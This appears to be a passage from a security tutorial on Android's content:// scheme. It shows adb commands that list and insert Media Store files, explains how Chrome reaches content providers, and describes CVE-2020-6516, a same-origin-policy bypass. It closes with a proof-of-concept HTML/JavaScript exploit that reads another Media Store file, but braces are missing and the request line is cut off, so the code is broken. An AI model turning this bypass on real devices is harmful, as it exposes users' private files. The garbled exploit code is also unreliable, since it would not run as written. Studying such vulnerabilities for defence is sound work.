content:// protocol

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Listing Files in Media Store

To list files managed by the Media Store, the command below can be used:

$ content query --uri content://media/external/file

For a more human-friendly output, displaying only the identifier and path of each indexed file:

$ content query --uri content://media/external/file --projection _id,_data

Content providers are isolated in their own private namespace. Access to a provider requires the specific content:// URI. Information about the paths for accessing a provider can be obtained from application manifests or the Android framework's source code.

Chrome's Access to Content Providers

Chrome on Android can access content providers through the content:// scheme, allowing it to access resources like photos or documents exported by third-party applications. To illustrate this, a file can be inserted into the Media Store and then accessed via Chrome:

Insert a custom entry into the Media Store:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
    --bind _data:s:/storage/emulated/0/test.txt \
    --bind mime_type:s:text/plain

Discover the identifier of the newly inserted file:

content query --uri content://media/external/file \
    --projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

The file can then be viewed in Chrome using a URL constructed with the file's identifier.

For instance, to list files related to a specific application:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Same-Origin-Policy Bypass

The Same Origin Policy (SOP) is a security protocol in browsers that restricts web pages from interacting with resources from different origins unless explicitly allowed by a Cross-Origin-Resource-Sharing (CORS) policy. This policy aims to prevent information leaks and cross-site request forgery. Chrome considers content:// as a local scheme, implying stricter SOP rules, where each local scheme URL is treated as a separate origin.

However, CVE-2020-6516 was a vulnerability in Chrome that allowed a bypass of SOP rules for resources loaded via a content:// URL. In effect, JavaScript code from a content:// URL could access other resources loaded via content:// URLs, which was a significant security concern, especially on Android devices running versions earlier than Android 10, where scoped storage was not implemented.

The proof-of-concept below demonstrates this vulnerability, where an HTML document, after being uploaded under /sdcard and added to the Media Store, uses XMLHttpRequest in its JavaScript to access and display the contents of another file in the Media Store, bypassing the SOP rules.

Proof-of-Concept HTML:

    <script type="text/javascript">
        function poc()
            var xhr = new XMLHttpRequest();

            xhr.onreadystatechange = function()
                if(this.readyState == 4)
                    if(this.status == 200 || this.status == 0)

  "GET", "content://media/external/file/747");
<body onload="poc()"></body>
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